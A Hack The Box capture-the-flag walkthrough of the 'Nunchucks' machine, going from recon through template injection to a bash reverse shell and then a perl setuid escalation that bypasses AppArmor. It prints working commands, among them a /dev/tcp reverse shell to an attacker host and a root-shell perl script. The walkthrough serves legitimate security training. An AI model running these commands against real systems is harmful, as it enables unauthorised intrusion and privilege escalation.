HTB: Nunchucks
Nunchucks starts with a Server-Side Template Injection using the Nunchucks template, yes, the machine name is a hint.
We will get a reverse shell, and for root we will be abusing perl but it’s not that easy because AppArmor is deployed, we will have to bypass it and get to root.
Recon
⌗
Nmap⌗
Nmap finds three open ports:
❯ nmap -p- -sS --min-rate 5000 --open -v -n -Pn 10.129.95.252 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 21:32 -05
Initiating SYN Stealth Scan at 21:32
Scanning 10.129.95.252 [65535 ports]
Discovered open port 80/tcp on 10.129.95.252
Discovered open port 443/tcp on 10.129.95.252
Discovered open port 22/tcp on 10.129.95.252
Completed SYN Stealth Scan at 21:32, 14.57s elapsed (65535 total ports)
Nmap scan report for 10.129.95.252
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.73 seconds
Raw packets sent: 71258 (3.135MB) | Rcvd: 71258 (2.850MB)
With nmap parameters -sCV we can take a deeper look into these ports:
❯ nmap -sCV -p22,80,443 10.129.95.252 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 21:33 -05
Nmap scan report for 10.129.95.252
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.38 seconds
HTTPS server⌗
In the scan we see the domain nunchucks.htb, we have to add it to the /etc/hosts so our machine knows where this domain belongs to:
Connection from 192.168.10.21:45050
127.0.0.1 localhost
127.0.1.1 h4ckn3t
10.129.95.252 nunchucks.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
As we can’t do anything with the SSH port, let’s go take a look to the website:
Subdomain fuzzing⌗
It looks very static, I don’t think there’s much we can do here so as we have a domain let’s fuzz for subdomains with gobuster:
❯ gobuster vhost -u https://nunchucks.htb -t 200 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://nunchucks.htb
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/07/14 21:42:41 Starting gobuster in VHOST enumeration mode
===============================================================
Found: store.nunchucks.htb (Status: 200) [Size: 4029]
===============================================================
2022/07/14 21:42:47 Finished
===============================================================
store.nunchucks.htb is valid so let’s add it to the /etc/hosts and take a look:
We have an input field:
SSTI⌗
As usual let’s try some injections:
The Server Side Template Injection test works well, but after trying with the usual payloads we don’t get command execution.
The website is running Node.js, after doing some research we get this:
This is very similar to the machine’s name so maybe it’s a clue to what we have to do:
For this to work we need to do it with Burp so let’s intercept the petition and test the payload with the command id:
It works! I will get a reverse shell sharing a HTTP server with the bash reverse shell as index.html.
From the injection I will curl to my server and execute the index with bash, getting a reverse shell to my netcat:
❯ echo 'bash -i >& /dev/tcp/10.10.14.161/334 0>&1' > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.95.252 - - [14/Jul/2022 22:03:22] "GET / HTTP/1.1" 200 -
❯ nc -lvnp 334
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::334
Ncat: Listening on 0.0.0.0:334
Ncat: Connection from 10.129.95.252.
Ncat: Connection from 10.129.95.252:33716.
bash: cannot set terminal process group (1041): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$
It works, now let’s turn this shell into an interactive tty:
david@nunchucks:/var/www/store.nunchucks$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
david@nunchucks:/var/www/store.nunchucks$ ^-lvnp 3
zsh: suspended nc -lvnp 334
❯ stty raw -echo; fg
[1] + continued nc -lvnp 334
reset xterm
And some final touches like the screen size:
david@nunchucks:/var/www/store.nunchucks$ export TERM=xterm
david@nunchucks:/var/www/store.nunchucks$ export SHELL=bash
david@nunchucks:/var/www/store.nunchucks$ stty rows 40 columns 145
Inside david’s home directory we can see the user flag:
david@nunchucks:~$ ls
user.txt
david@nunchucks:~$ cat user.txt
ef0b6a7c099f7*******************
Privilege escalation
⌗
Enumeration⌗
With getcap we can check for the capabilities our user has:
david@nunchucks:~$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Abusing perl setuid capability⌗
/usr/bin/perl has cap_setuid+ep this means, if we manage to execute commands with this binary we could change our uid, if we make it 0 we will execute commands as root.
In GTFOBins we find a way to exploit this capability:
For some reason it doesn’t work, only for some commands as whoami:
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root
There’s must be some sort of restriction going on so let’s keep enumerating:
david@nunchucks:/$ find \-name perl 2>/dev/null
./usr/bin/perl
./usr/lib/x86_64-linux-gnu/perl
./usr/share/perl
./usr/share/doc/perl
./usr/share/bash-completion/completions/perl
./usr/share/bash-completion/helpers/perl
./usr/share/lintian/overrides/perl
./usr/src/linux-headers-5.4.0-86/tools/perf/scripts/perl
./usr/src/linux-headers-5.4.0-81/tools/perf/scripts/perl
./etc/perl
./etc/apparmor.d/abstractions/perl
There’s something about AppArmor, which is a security module that allows to restric a program’s capabilities.
In /etc/apparmor.d we can find the information about perl:
david@nunchucks:/etc/apparmor.d$ ls
abstractions force-complain lsb_release sbin.dhclient usr.bin.man usr.sbin.ippusbxd usr.sbin.rsyslogd
disable local nvidia_modprobe tunables usr.bin.perl usr.sbin.mysqld usr.sbin.tcpdump
david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>
/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}
If we do some research about AppArmor and perl we find information about a bug:
Basically if we put the shebang #!/usr/bin/perl in a .sh file the AppArmor preventions are bypassed, let’s check this:
avid@nunchucks:~$ cat pwned.sh
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh";
david@nunchucks:~$ ./pwned.sh
# whoami
root
It works and now we are root!
This means we have access to the root.txt:
# cat /root/root.txt
549ffc4ed0750*******************
See you next time!